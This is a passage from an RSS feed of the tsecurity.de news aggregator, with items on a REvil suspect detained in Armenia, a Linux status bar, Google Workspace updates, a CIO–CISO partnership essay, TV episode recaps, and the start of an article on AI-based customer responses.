<content:encoded><![CDATA[Heute haben Samba und ich wieder an unserem Gelände Problem gearbeitet. Es war definitiv wild, aber er hat das brav gemacht!]]></content:encoded>
</item>
<item>
<title><![CDATA[Armenia Detains Russian Tourist on U.S. Warrant for REvil Hacker, Lawyers Say Wrong Man]]></title>
<description><![CDATA[Armenia has held a Russian tourist named Aleksandr Ermakov in a detention center since June 28, on a U.S. extradition request for a REvil ransomware suspect named Aleksandr Ermakov. His wife, Maria Yurova, told REN TV that border officers pulled him out of the departure hall at Yerevan’s Zvartnot...]]></description>
<link>https://tsecurity.de/de/3677394/it-security-nachrichten/armenia-detains-russian-tourist-on-us-warrant-for-revil-hacker-lawyers-say-wrong-man/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677394/it-security-nachrichten/armenia-detains-russian-tourist-on-us-warrant-for-revil-hacker-lawyers-say-wrong-man/</guid>
<pubDate>Sat, 18 Jul 2026 05:22:50 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Armenia has held a Russian tourist named Aleksandr Ermakov in a detention center since June 28, on a U.S. extradition request for a REvil ransomware suspect named Aleksandr Ermakov. His wife, Maria Yurova, told REN TV that border officers pulled him out of the departure hall at Yerevan’s Zvartnots airport, held up a phone with […]]]></content:encoded>
</item>
<item>
<title><![CDATA[I was tired of status bars that did way too many things so i created a bare minimal bar]]></title>
<description><![CDATA[I love shells like the Celestia shell where you can get a bunch of features that are integrated into Hyprland, don't get me wrong. But there were always some features that i just did not want or care about and I always wanted something more minimal. So I worked on a status bar that only does the ...]]></description>
<link>https://tsecurity.de/de/3677356/linux-tipps/i-was-tired-of-status-bars-that-did-way-too-many-things-so-i-created-a-bare-minimal-bar/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677356/linux-tipps/i-was-tired-of-status-bars-that-did-way-too-many-things-so-i-created-a-bare-minimal-bar/</guid>
<pubDate>Sat, 18 Jul 2026 04:39:45 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>I love shells like the Celestia shell where you can get a bunch of features that are integrated into Hyprland, don't get me wrong. But there were always some features that i just did not want or care about and I always wanted something more minimal.<br> So I worked on a status bar that only does the <strong>b</strong>are <strong>m</strong>inimum for the work that i need to do while not compromising on its looks.<br> And besides Hyprland it only uses 3 other dependencies one of it being Quickshell.</p> <p>You can look at the repository if you want, maybe it suits your use case :)</p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/xDashyy"> /u/xDashyy </a> <br> <span><a href="https://github.com/jukoby/bmbar">[link]</a></span>   <span><a href="https://www.reddit.com/r/linux/comments/1uzcfsm/i_was_tired_of_status_bars_that_did_way_too_many/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[How to prolong an iPhone battery's life]]></title>
<description><![CDATA[If you want to know how to prolong iPhone battery life, you’re not alone. An iPhone’s battery will die eventually. Over time, it will retain less and less charge until it only lasts a few hours. There isn’t much you can do about this since that’s how batteries work, but understanding the right se...]]></description>
<link>https://tsecurity.de/de/3677153/betriebssysteme/how-to-prolong-an-iphone-batterys-life/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677153/betriebssysteme/how-to-prolong-an-iphone-batterys-life/</guid>
<pubDate>Sat, 18 Jul 2026 00:24:41 +0200</pubDate>
<category>🖥️  Betriebssysteme</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>If you want to know how to prolong iPhone battery life, you’re not alone. An iPhone’s battery will die eventually. Over time, it will retain less and less charge until it only lasts a few hours. There isn’t much you can do about this since that’s how batteries work, but understanding the right settings can […]</p>
<p>The post <a rel="nofollow" href="https://www.addictivetips.com/ios/prolong-iphone-batter-life/">How to prolong an iPhone battery's life</a> appeared first on <a rel="nofollow" href="https://www.addictivetips.com/">AddictiveTips</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Google Workspace Weekly Recap - July 17, 2026]]></title>
<description><![CDATA[Google Credential Provider for Windows (GCPW) now supports FIDO2-compliant physical security keys as a second factor for authenticationGoogle Credential Provider for Windows (GCPW) has been updated to support FIDO2-compliant physical security keys as a second factor for authentication. This updat...]]></description>
<link>https://tsecurity.de/de/3677046/web-tipps/google-workspace-weekly-recap-july-17-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677046/web-tipps/google-workspace-weekly-recap-july-17-2026/</guid>
<pubDate>Fri, 17 Jul 2026 23:11:52 +0200</pubDate>
<category>Web Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h3>Google Credential Provider for Windows (GCPW) now supports FIDO2-compliant physical security keys as a second factor for authentication</h3><p>Google Credential Provider for Windows (GCPW) has been updated to support FIDO2-compliant physical security keys as a second factor for authentication. This update helps organizations improve their security posture by enabling administrators to enforce 2-Step Verification (2SV) using hardware security keys at the Windows login screen. | <a href="https://workspaceupdates.googleblog.com/2026/07/google-credential-provider-for-windows-now-supports-FIDO2-compliant-physical-security-keys-as-a-second-factor-for-authentication.html" target="_blank">Learn more</a>.</p><h3>Improvement to in-room problem reporting for Google Meet hardware</h3><p>Maintaining an enterprise-grade video conferencing environment requires visibility into the health of its devices. We're introducing new ways to see Google Meet hardware user-reported feedback directly in the Admin console. | <a href="https://workspaceupdates.googleblog.com/2026/07/improvement-to-in-room-problem-reporting-for-Google-Meet-hardware.html" target="_blank">Learn more</a>.</p><h3>New refinement capabilities allow custom editing with Help me write in Gmail</h3><p>Users can now edit and revise their email drafts in Gmail via the prompt bar, using custom refine instructions in Help me write. Previously the refines were limited to preset options like Polish, Formalize, and Shorten. | <a href="https://workspaceupdates.googleblog.com/2026/07/new-refinement-capabilities-allow-custom-editing-with-Help-me-write-in-Gmail.html" target="_blank">Learn more</a>.</p><h3>Now available: group conversations with external collaborators in Google Chat</h3><p>For many teams, it’s essential to be able to work in real-time with partners from outside your organization. We’re improving external collaboration in Google Chat by making it possible to create group conversations that include external users. | <a href="https://workspaceupdates.googleblog.com/2026/07/now-available-group-conversations-with-external-collaborators-in-Google-Chat.html" target="_blank">Learn more</a>.</p><h3>NotebookLM is now Gemini Notebook</h3><p>We’re renaming NotebookLM to Gemini Notebook. While it remains a standalone product focused on being your premier research tool, the new name reflects how it will evolve to do more across the Google ecosystem. | <a href="https://workspaceupdates.googleblog.com/2026/07/notebooklm-now-gemini-notebook.html" target="_blank">Learn more</a>.</p><h3>Easily control the emotions and pacing of AI avatars and AI voiceovers in Google Vids</h3><p>Users can now easily steer voiceover and avatar speaking in Google Vids by typing content within brackets like “[excitedly]”. | <a href="https://workspaceupdates.googleblog.com/2026/06/easily-steer-ai-voiceover-and-avatar-speaking-with-emotions-pacing-and-sound-effects.html" target="_blank">Learn more</a>.</p><h3>Expanded language support for Gemini in Google Docs</h3><p>We are now expanding support for these features to 11 more languages, including Mandarin, Dutch, Malay, Hebrew, Polish, Turkish, Czech, Indonesian, Swedish, Danish, and Norwegian. These new additions join our previously supported languages: English, Spanish, Portuguese, Japanese, French, Korean, German, and Italian. | <a href="https://workspaceupdates.googleblog.com/2026/07/expanded-language-support-for-gemini-in-Google-Docs.html" target="_blank">Learn more</a>.</p><h3>Generate higher quality AI video clips and edit any video with Gemini Omni in Vids</h3><p>Users now have access to Gemini Omni directly within Google Vids. Omni provides higher quality video generation with significant improvements over previous models. Additionally, Omni’s world understanding unlocks simple video edits so you can ask Omni to tweak the video you have to get the video you need. | <a href="https://workspaceupdates.googleblog.com/2026/07/generate-higher-quality-ai-video-clips-and-edit-any-video-with-Gemini-Omni-in-Vids.html" target="_blank">Learn more</a>.</p><h3>Cast yourself in AI video clips using your personal avatar with Gemini Omni in Vids</h3><p>Users now have access to Gemini Omni directly within Google Vids. With Gemini Omni, you can create videos using your personal avatar to scale your presence without the studio time. Use a secure verification process to capture your likeness and then select it as a character in Omni generations within Vids. | <a href="https://workspaceupdates.googleblog.com/2026/07/cast-yourself-in-ai-video-clips-using-your-personal-avatar-with-Gemini-Omni-in-Vids.html" target="_blank">Learn more</a>.</p><h3>New Google Meet 'Take notes for me' settings for admins and end users</h3><p>To help users remember to capture notes for meetings when it’s most valuable, we’re updating the admin and end user settings that let them pre-configure AI note-taking for Google Meet. | <a href="https://workspaceupdates.googleblog.com/2026/07/new-google-meet-take-notes-for-me-settings-for-admins-and-end-users.html" target="_blank">Learn more</a>.</p><p><span>The announcements above were published on the Workspace Updates blog over the last week. Please refer to the original blog posts for complete details.</span></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Every SOC Today Is Answering the Wrong Question]]></title>
<description><![CDATA[Ask most detection engineers what a SOC does, and they’ll say: it finds compromised machines. That’s the wrong question. Attackers stopped compromising machines as the primary objective years ago — machines are just where identities and trust relationships happen to…
Read more →
The post Every SO...]]></description>
<link>https://tsecurity.de/de/3676665/it-security-nachrichten/every-soc-today-is-answering-the-wrong-question/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3676665/it-security-nachrichten/every-soc-today-is-answering-the-wrong-question/</guid>
<pubDate>Fri, 17 Jul 2026 19:25:06 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Ask most detection engineers what a SOC does, and they’ll say: it finds compromised machines. That’s the wrong question. Attackers stopped compromising machines as the primary objective years ago — machines are just where identities and trust relationships happen to…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/every-soc-today-is-answering-the-wrong-question/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/every-soc-today-is-answering-the-wrong-question/">Every SOC Today Is Answering the Wrong Question</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[An Appreciation of Ecological Sanitation (or Turds for Nerds) (emf2026)]]></title>
<description><![CDATA[Our modern sewage system relies on vast amounts of water and this causes huge problems.
Perhaps the greatest being that the anaerobic  microbes that break down human waste  in water  are inefficient,  produce   greenhouse gases,  and then waste  ends up in the rivers and seas producing algal bloo...]]></description>
<link>https://tsecurity.de/de/3676647/it-security-video/an-appreciation-of-ecological-sanitation-or-turds-for-nerds-emf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3676647/it-security-video/an-appreciation-of-ecological-sanitation-or-turds-for-nerds-emf2026/</guid>
<pubDate>Fri, 17 Jul 2026 19:19:24 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Our modern sewage system relies on vast amounts of water and this causes huge problems.
Perhaps the greatest being that the anaerobic  microbes that break down human waste  in water  are inefficient,  produce   greenhouse gases,  and then waste  ends up in the rivers and seas producing algal blooms and foul smells. Whereas their descendants on  land  (aerobic microbes) are extremely efficient and only produce CO2, H2O and organic matter.

So what went wrong?

I will describe the history  of the modern sewage system and how it broke the natural nutrient cycle, causing pollution, health problems and costing a lot of public money,
and then conclude with  the  maths, chemistry and  biology of  a micro  self-sustaining aerobic sewage system on a houseboat.

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://www.emfcamp.org/schedule/2026/73-an-appreciation-of-ecological-sanitation-or-turds-for-nerds]]></content:encoded>
</item>
<item>
<title><![CDATA[Sugar Season 2 Episode 5 Recap: Sugar Enters Pavich’s Inner Circle]]></title>
<description><![CDATA[Sugar Season 2 Episode 5, titled “Unknowns,” sees John Sugar protect Ji Moon while quietly entering Senator Pavich’s inner circle through a mysterious professor.



The episode continues the season’s central investigation into Ji’s disappearance, corrupt police officer Ray Vega, and the wider con...]]></description>
<link>https://tsecurity.de/de/3676034/ios-mac-os/sugar-season-2-episode-5-recap-sugar-enters-pavichs-inner-circle/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3676034/ios-mac-os/sugar-season-2-episode-5-recap-sugar-enters-pavichs-inner-circle/</guid>
<pubDate>Fri, 17 Jul 2026 14:22:59 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Sugar Season 2 Episode 5, titled “Unknowns,” sees John Sugar protect Ji Moon while quietly entering Senator Pavich’s inner circle through a mysterious professor.



The episode continues the season’s central investigation into Ji’s disappearance, corrupt police officer Ray Vega, and the wider conspiracy operating across Los Angeles. Sugar also struggles with growing loneliness as he remains separated from the other members of his alien community.



Sugar Season 2 Episode 5 release details




Episode title: Unknowns



Release date: July 17, 2026



Streaming platform: Apple TV



Runtime: 40 minutes



Genre: Mystery, drama and science fiction



Rating: TV-MA



Main cast: Colin Farrell, Jin Ha, Raymond Lee, Tony Dalton, Laura Donnelly, Shea Whigham and Bernard White




Season 2 premiered on June 19, 2026, and contains eight episodes, with the finale scheduled for August 7. New episodes arrive weekly on Fridays.



Sugar hides Ji from Vega



Spoilers ahead for Sugar Season 2 Episode 5.



The episode begins after Sugar secretly brings Ji back from a near-fatal overdose. He takes Ji to a rehabilitation facility, where the young man can remain hidden from Vega and the corrupt officers searching for him.



Sugar then creates a false death certificate and allows Vega to believe that Ji has died. To make the story more convincing, Sugar confronts Vega at a private gathering and punches him, acting like a grieving investigator who has lost his witness.



However, Vega does not fully accept Ji’s death. He continues tracking Sugar’s movements and later returns to the cabin where Ji was found. A mounted animal head that Sugar accidentally disturbed catches Vega’s attention, suggesting that he has noticed something wrong with the scene.



Sugar enters Pavich’s inner circle



With Ji temporarily safe, Sugar returns to his investigation of Senator Pavich. He follows Dr. Stanley Ondaatje, a professor connected to Pavich, and breaks into his home.



Inside, Sugar discovers a strange document containing four circles. The meaning remains unclear, but the drawing appears connected to the secret project involving Pavich and the professor.



Sugar also finds a room filled with succulents and books about desert plants. He later approaches Ondaatje in a cactus garden and pretends to share his interest in plants. Their conversation allows Sugar to gain the professor’s trust without revealing that he has already searched his home.



Ondaatje describes the plants as stronger than they appear because they survive with very little in harsh environments. His words also reflect Sugar’s condition as someone living alone among humans while trying to understand how much he has changed.



Chuy’s phone could expose Vega



Sugar and Val also search for evidence that can support Ji’s claims against Vega. Since Ji witnessed Vega committing murder while involved in a crime himself, officials may question his reliability.



They believe Chuy could have recorded evidence on his phone. Sugar eventually finds a phone with an Aztec-style design after discovering Sandra dead from an overdose. The device could contain the proof needed to connect Vega to the murders and the operation in Downer Town.



Meanwhile, Danny accepts a boxing contract after refusing to apologize for his recent fight. Although he believes Ji has died, Sugar has secretly kept his brother alive.



The closing scenes focus on Sugar’s increasing attachment to human life. He spends the night talking with Charlotte before Peg appears and warns him that he is becoming too human.



Episode 5 pushes Sugar closer to Pavich while leaving Vega suspicious about Ji’s supposed death. What do you think the four-circle drawing means, and will Sugar’s connection with Charlotte place her in danger? Let us know in the comments.]]></content:encoded>
</item>
<item>
<title><![CDATA[Silo Season 3 Episode 4 Release Date, Time, and What to Expect]]></title>
<description><![CDATA[Silo Season 3 Episode 4 will arrive on Apple TV on Friday, July 24, 2026. The next chapter will continue Juliette Nichols’ fight to recover her memories while the Before Times storyline reveals more about the events that led to the creation of the silos.



Season 3 began on July 3 and follows a ...]]></description>
<link>https://tsecurity.de/de/3675994/ios-mac-os/silo-season-3-episode-4-release-date-time-and-what-to-expect/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675994/ios-mac-os/silo-season-3-episode-4-release-date-time-and-what-to-expect/</guid>
<pubDate>Fri, 17 Jul 2026 14:10:37 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Silo Season 3 Episode 4 will arrive on Apple TV on Friday, July 24, 2026. The next chapter will continue Juliette Nichols’ fight to recover her memories while the Before Times storyline reveals more about the events that led to the creation of the silos.



Season 3 began on July 3 and follows a weekly Friday release schedule. The ten-episode season will run through September 4, 2026.



Silo Season 3 Episode 4 release details




Release date: Friday, July 24, 2026



Release time: 12 a.m. PT and 3 a.m. ET



India release time: Around 12:30 p.m. IST



Streaming platform: Apple TV



Genre: Science fiction, dystopian drama and mystery



Expected duration: Around 45 to 60 minutes



Season episode count: 10 episodes



Season finale: September 4, 2026



Main cast: Rebecca Ferguson, Common, Harriet Walter, Chinaza Uche, Avi Nash, Alexandria Riley, Shane McRae and Remmie Milner




Ashley Zukerman, Jessica Henwick, Laura Innes, Jessica Brown Findlay, Morven Christie, Reed Birney, Matt Craven and Colin Hanks are among the major additions to the Season 3 cast. Steve Zahn also returns after playing Solo in Season 2.



What happened before Episode 4?



Spoilers ahead for Silo Season 3 Episodes 1 to 3.



Season 3 follows two connected timelines. Inside Silo 18, Juliette has returned after surviving her journey outside, but her damaged memories have left her vulnerable. Camille Sims and Nurse Amy have been using memory-altering drugs as part of a wider attempt to control her and weaken any resistance inside the silo.



Juliette gradually learns that other residents have also lost parts of their memories. Patrick Kennedy tells her about the drugs being used to make people forget, while Juliette continues searching for Lukas Kyle and the truth hidden from her.



Meanwhile, the Before Times storyline follows journalist Helen Drew and pilot Charlotte Keene. Helen investigates secret memory-erasure experiments connected to Dr. Crnkovich, while Charlotte begins recovering memories of a suspicious military operation. Their story appears closely tied to the political crisis and possible attack that eventually forced humanity underground.



What to expect from Silo Season 3 Episode 4



Episode 4 will likely push Juliette closer to discovering who altered her memories and why the Algorithm considers her dangerous. Her growing resistance to the medication also puts Camille, Sims and Nurse Amy under pressure, since they can no longer assume that Juliette will remain confused or obedient.



Patrick’s information about the forgetfulness drugs may help Juliette identify more people who were secretly controlled. Lukas could also return to the main storyline, especially because his knowledge of the Legacy and Salvador Quinn’s message makes him important to understanding the silos.



The Before Times plot should continue exploring Helen’s investigation and Charlotte’s recovered memories. Charlotte’s mission may reveal who planned the disaster, what the strange substance was and whether powerful officials helped create the conditions that led to the silo project.



As both timelines develop, Episode 4 should make the connection between Juliette’s present-day struggle and the original architects of the silo system much clearer.



Silo Season 3 Episode 4 streams on Apple TV on July 24. What do you think Juliette will remember next, and how deeply is Camille involved in the plan to control Silo 18? Let us know in the comments.]]></content:encoded>
</item>
<item>
<title><![CDATA[Armenia Detains Russian Tourist on U.S. Warrant for REvil Hacker, Lawyers Say Wrong Man]]></title>
<description><![CDATA[Armenia has held a Russian tourist named Aleksandr Ermakov in a detention center since June 28, on a U.S. extradition request for a REvil ransomware suspect named Aleksandr Ermakov.

His wife, Maria Yurova, told REN TV that border officers pulled him out of the departure hall at Yerevan's Zvartno...]]></description>
<link>https://tsecurity.de/de/3675990/it-security-nachrichten/armenia-detains-russian-tourist-on-us-warrant-for-revil-hacker-lawyers-say-wrong-man/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675990/it-security-nachrichten/armenia-detains-russian-tourist-on-us-warrant-for-revil-hacker-lawyers-say-wrong-man/</guid>
<pubDate>Fri, 17 Jul 2026 14:09:22 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Armenia has held a Russian tourist named Aleksandr Ermakov in a detention center since June 28, on a U.S. extradition request for a REvil ransomware suspect named Aleksandr Ermakov.

His wife, Maria Yurova, told REN TV that border officers pulled him out of the departure hall at Yerevan's Zvartnots airport, held up a phone with a photo of him off his VKontakte page, and walked him into a side]]></content:encoded>
</item>
<item>
<title><![CDATA[Armenia Detains Russian Tourist on U.S. Warrant for REvil Hacker, Lawyers Say Wrong Man]]></title>
<description><![CDATA[Armenia has held a Russian tourist named Aleksandr Ermakov in a detention center since June 28, on a U.S. extradition request for a REvil ransomware suspect named Aleksandr Ermakov. His wife, Maria Yurova, told REN TV that border officers pulled…
Read more →
The post Armenia Detains Russian Touri...]]></description>
<link>https://tsecurity.de/de/3675983/it-security-nachrichten/armenia-detains-russian-tourist-on-us-warrant-for-revil-hacker-lawyers-say-wrong-man/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675983/it-security-nachrichten/armenia-detains-russian-tourist-on-us-warrant-for-revil-hacker-lawyers-say-wrong-man/</guid>
<pubDate>Fri, 17 Jul 2026 14:09:13 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Armenia has held a Russian tourist named Aleksandr Ermakov in a detention center since June 28, on a U.S. extradition request for a REvil ransomware suspect named Aleksandr Ermakov. His wife, Maria Yurova, told REN TV that border officers pulled…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/armenia-detains-russian-tourist-on-u-s-warrant-for-revil-hacker-lawyers-say-wrong-man/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/armenia-detains-russian-tourist-on-u-s-warrant-for-revil-hacker-lawyers-say-wrong-man/">Armenia Detains Russian Tourist on U.S. Warrant for REvil Hacker, Lawyers Say Wrong Man</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The last human relationship in cybersecurity]]></title>
<description><![CDATA[We are inundated with promises that artificial intelligence will save us and that the next governance framework will protect us. Buy this platform, adopt that model and the hard part finally gets easier. After 15 years in this field, I have wanted that shortcut as much as anyone.



But both prom...]]></description>
<link>https://tsecurity.de/de/3675960/it-nachrichten/the-last-human-relationship-in-cybersecurity/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675960/it-nachrichten/the-last-human-relationship-in-cybersecurity/</guid>
<pubDate>Fri, 17 Jul 2026 14:03:27 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">We are inundated with promises that artificial intelligence will save us and that the next governance framework will protect us. Buy this platform, adopt that model and the hard part finally gets easier. After 15 years in this field, I have wanted that shortcut as much as anyone.</p>



<p class="wp-block-paragraph">But both promises are downstream of something neither one can produce. You cannot automate trust between two people. You cannot govern your way to a relationship. As AI moves into the core of how organizations operate, and accountability stops mapping cleanly to the org chart, what holds when the stakes are highest is not the platform or the policy. It is two human leaders who know each other well enough to carry the weight together.</p>



<p class="wp-block-paragraph">I think about this often now, a year after publishing a book about the pressures bearing down on security leaders, “<a href="https://www.amazon.com/dp/B0F6DDK8CD">The CISO On The Razor’s Edge: Leading Cybersecurity When The System Is Designed To Break</a>.” The partnership between the CIO and the CISO is the last human relationship in cybersecurity. AI raises the stakes. Governance sets the floor. The relationship is what holds.</p>



<p class="wp-block-paragraph">I saw it work once, up close. When I worked in Washington State, the CIO, <a href="https://www.linkedin.com/in/william-kehoe-a37a0714b/">Bill Kehoe</a>, talked to his CISO, <a href="https://www.linkedin.com/in/ralfjnsn/">Ralph Johnson</a>, every day. Weekends included. Not because a policy required it, but because the mission did. That partnership is a large part of why the role stayed sustainable for them when it broke so many others.</p>



<h2 class="wp-block-heading">The promise we keep believing</h2>



<p class="wp-block-paragraph">Walk any conference floor and you will hear the same pitch in a hundred variations. The next AI layer will close the gap. The next framework will lock down the risk. The technology is usually ready. The organization is not. I have watched too many well-funded programs stall to still believe the tool is the answer, and almost every time, the breakdown traced back to leaders who were not aligned before the work began. A framework run by misaligned leaders inherits the misalignment. You can buy the best controls on the market and still watch them fail when two leaders work from different assumptions about who owns what.</p>



<p class="wp-block-paragraph">Bill and Ralph understood this. Security decisions were not handed to Ralph after the fact to bless or block. They were made with him, inside the technology decisions, because the two had already agreed on what mattered. That is not governance. That is leadership creating the conditions in which governance can work.</p>



<p class="wp-block-paragraph">It is the real lesson I came to in the book. Technical knowledge matters, but it is not enough. As I wrote then, “Influence, trust and internal relationships are non-negotiable.” Without influence, CISOs cannot lead. Without technical substance, they cannot prioritize what matters. And without partnership, especially with their CIO, “they’re operating without a safety net.”</p>



<p class="wp-block-paragraph">AI does not change that truth. It raises the cost of ignoring it.</p>



<h2 class="wp-block-heading">When decisions move at machine speed</h2>



<p class="wp-block-paragraph">The ground under both roles is shifting. Work no longer flows through people alone. It moves across people, platforms, partners and agents at the same time, and it moves fast. Decisions that once waited for a meeting now form in seconds. The org chart, built for an era when humans did the work and reporting lines explained accountability, struggles to keep up.</p>



<p class="wp-block-paragraph">This is where the partnership stops being a nicety and becomes infrastructure. When decisions form at machine speed, the human escalation path has to be instant. There is no time to negotiate a relationship in the middle of an incident. Either the trust is already there, built in the quiet stretches before anything goes wrong, or it is not there when it counts.</p>



<p class="wp-block-paragraph">I asked Bill what he would lose if his daily calls with Ralph dropped to once a week. His answer cut straight to it.</p>



<p class="wp-block-paragraph">“Cyber does not rest,” he told me. “It is active and dynamic and requires 24/7/365 attention.” Drop to a weekly check-in, he explained, and “I am treating the CISO like any other executive position.” For Bill, AI only raises the stakes on that daily contact. “Relationships and partnerships between the CIO and CISO will never die due to AI,” he said. “I can’t even imagine a scenario where I don’t talk to my CISO on a daily basis including weekends to discuss the latest risks and vulnerabilities or news on potential AI attacks.”</p>



<p class="wp-block-paragraph">That is the point most of the market misses. A platform can flag the anomaly. It cannot decide what the organization is willing to risk, who carries that decision or how two leaders stand behind it together. The faster the machines move, the more the partnership has to already be in place.</p>



<h2 class="wp-block-heading">The loneliest seat in the building</h2>



<p class="wp-block-paragraph">There is a reason some now call the CISO job the least desirable role in business. The seat carries enormous accountability and rarely the authority to match. As one security leader put it, <a href="https://www.csoonline.com/article/4016334/has-ciso-become-the-least-desirable-role-in-business.html">the pressure has never been higher and the control has never felt lower</a>. People are burning out and walking away from a role that has never mattered more.</p>



<p class="wp-block-paragraph">Here is the hard part. There is no log file for burnout. No alert fires when the weight finally exceeds the leader. That drain is invisible right up until it is not, and it raises organizational risk as surely as any unpatched system. The structural fixes the industry debates are all real and all slow.</p>



<p class="wp-block-paragraph">The fastest source of relief available to a CISO is not a framework. It is a CIO who treats the relationship as a daily partnership rather than a line on a chart. An isolated CISO is a vulnerability. A partnered one is an asset.</p>



<p class="wp-block-paragraph">You see what that partnership is worth in the worst moment. I asked Bill what it looks like when an incident hits and public trust is on the line. He did not reach for a tool.</p>



<p class="wp-block-paragraph">“I am accountable as CIO to everything that occurs in the state from a technology lens including cyber,” he said. When a severe incident hits, the call comes to him from agency leadership or the Governor’s Office. Then he follows the plan, but never alone: “I will be in constant contact with the CISO on the details of the incident.”</p>



<p class="wp-block-paragraph">That is the safety net made real. The CISO is not carrying the mission alone at the moment it matters most. On the razor’s edge, leadership keeps you upright. Partnership keeps you in the fight.</p>



<h2 class="wp-block-heading">The work no tool will do for you</h2>



<p class="wp-block-paragraph">In my advisory work, I sit with C-suite leaders who share values and still cannot find alignment. The barrier is rarely disagreement. It is that they are not communicating clearly or often enough to build the trust that alignment requires. I have watched negotiations that could only happen by proxy, over email, because two capable leaders had stopped talking directly.</p>



<p class="wp-block-paragraph">I recently sat in an hour-long discussion where alignment and shared values were present the whole time. It did not become clear until the final fifteen minutes. That is what real alignment costs: patience, persistence and a stubborn commitment to clarity. If leaders cannot do that work themselves, no AI model or governance tool will do it for them.</p>



<p class="wp-block-paragraph">This is why I stand up an AI review board for the organizations I work with and host the leadership conversations that decide whether a company’s AI ambitions thrive or stall. The board itself matters less than what it provides: neutral ground, a regular cadence and an agenda that forces the hard issues into the open before a crisis forces them. If your organization has no venue like that, that absence is its own form of dysfunction. The cadence is what makes communication effective. Not easy. Effective.</p>



<h2 class="wp-block-heading">Build the bond on purpose</h2>



<p class="wp-block-paragraph">You cannot framework your way to trust. But you can build it deliberately, and that is a leadership act, not a governance one. The partnership and stakeholdering skills that once looked like soft extras are now the core executive work. A few moves matter most:</p>



<ul class="wp-block-list">
<li>Set a standing contact rhythm with your counterpart before you need one, daily or near-daily, not quarterly</li>



<li>Make decision rights and accountability explicit while it is calm, so no one improvises them mid-incident</li>



<li>Translate security into business outcomes together, so the board hears one aligned voice</li>
</ul>



<p class="wp-block-paragraph">Build the relationship as deliberately as you would build any critical control, because that is what it is. If you cannot connect the partnership to outcomes the business actually feels, you have a friendship, not a performance lever.</p>



<p class="wp-block-paragraph">A year after writing “The CISO On the Razor’s Edge,” I am even more convinced that strong leadership precedes effective governance and partnership precedes them both. This is the good news, not the hard news. The CIO and CISO who build real trust do not just reduce risk. They move faster than their competitors, because they spend no energy fighting each other. They earn the board’s confidence, because the board hears one clear voice. And they unlock the AI strategy everyone else is still struggling to govern, because they have already done the human work that makes governance hold.</p>



<p class="wp-block-paragraph">That is the upside waiting on the other side of this relationship. AI will keep advancing. Governance will keep maturing. But the organizations that win the next decade will be the ones where two leaders decided the partnership was worth building before they needed it. Bill and Ralph knew it every day, weekends included. The edge is there for anyone willing to do the same.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[It’s past time to end AI-based automated customer responses]]></title>
<description><![CDATA[An automated chatbot working for Anthropic this month shot down a Wiz researcher’s security hole report, saying that it “falls outside of the Claude Code threat model.” That was news to the security researchers at Wiz. 



It also turned out to be news to Anthropic execs, who had a very different...]]></description>
<link>https://tsecurity.de/de/3675876/it-nachrichten/its-past-time-to-end-ai-based-automated-customer-responses/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675876/it-nachrichten/its-past-time-to-end-ai-based-automated-customer-responses/</guid>
<pubDate>Fri, 17 Jul 2026 13:18:16 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
